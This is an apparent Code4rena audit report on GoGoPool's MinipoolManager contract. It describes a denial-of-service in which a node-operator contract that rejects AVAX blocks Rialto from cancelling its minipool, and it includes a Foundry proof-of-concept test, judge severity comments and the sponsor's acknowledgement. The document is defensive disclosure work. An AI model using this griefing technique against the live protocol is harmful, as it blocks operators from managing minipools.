Rialto may not be able to cancel minipools created by contracts that cannot receive AVAX

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L664

Vulnerability details

Impact

A malicious node operator may create a minipool that cannot be cancelled.

Proof of Concept

Rialto may cancel a minipool by calling cancelMinipoolByMultisig, however the function sends AVAX to the minipool owner, and the owner may block receiving of AVAX, causing the call to cancelMinipoolByMultisig to fail (MinipoolManager.sol#L664):

function _cancelMinipoolAndReturnFunds(address nodeID, int256 index) private {
  ...
  address owner = getAddress(keccak256(abi.encodePacked("minipool.item", index, ".owner")));
  ...
  owner.safeTransferETH(avaxNodeOpAmt);
}

The following PoC demonstrates how calls to cancelMinipoolByMultisig can be blocked:

function testCancelMinipoolByMultisigDOS_AUDIT() public {
  uint256 duration = 2 weeks;
  uint256 depositAmt = 1000 ether;
  uint256 avaxAssignmentRequest = 1000 ether;
  uint128 ggpStakeAmt = 200 ether;

  // Node operator is a contract than cannot receive AVAX:
  // contract NodeOpContract {}
  NodeOpContract nodeOpContract = new NodeOpContract();
  dealGGP(address(nodeOpContract), ggpStakeAmt);
  vm.deal(address(nodeOpContract), depositAmt);

  vm.startPrank(address(nodeOpContract));
  ggp.approve(address(staking), MAX_AMT);
  staking.stakeGGP(ggpStakeAmt);
  MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
  vm.stopPrank();

  bytes32 errorCode = "INVALID_NODEID";
  int256 minipoolIndex = minipoolMgr.getIndexOf(mp1.nodeID);
  store.setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")), uint256(MinipoolStatus.Prelaunch));

  // Rialto trices to cancel the minipool created by the node operator contract but the transaction reverts since
  // the node operator contract cannot receive AVAX.
  vm.prank(address(rialto));
  // FAIL: reverted with ETH_TRANSFER_FAILED
  minipoolMgr.cancelMinipoolByMultisig(mp1.nodeID, errorCode);
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider using the Pull over Push pattern to return AVAX to owners of minipools that are canceled by Rialto.

[GalloDaSballo]

Coded POC -> Primary

[c4-judge]

GalloDaSballo marked the issue as primary issue

[GalloDaSballo]

The warden has shown how the checked return value from call can be used as a grief to prevent canceling of a minipool.

The finding can have different severities based on the context, in this case, the cancelling can be denied, however, other state transitions are still possible.

For this reason (functionality is denied), I agree with Medium Severity

[c4-judge]

GalloDaSballo marked the issue as selected for report

[emersoncloud]

Acknowledged.

We'll make a note of this in our documentation, but not fixing immediately.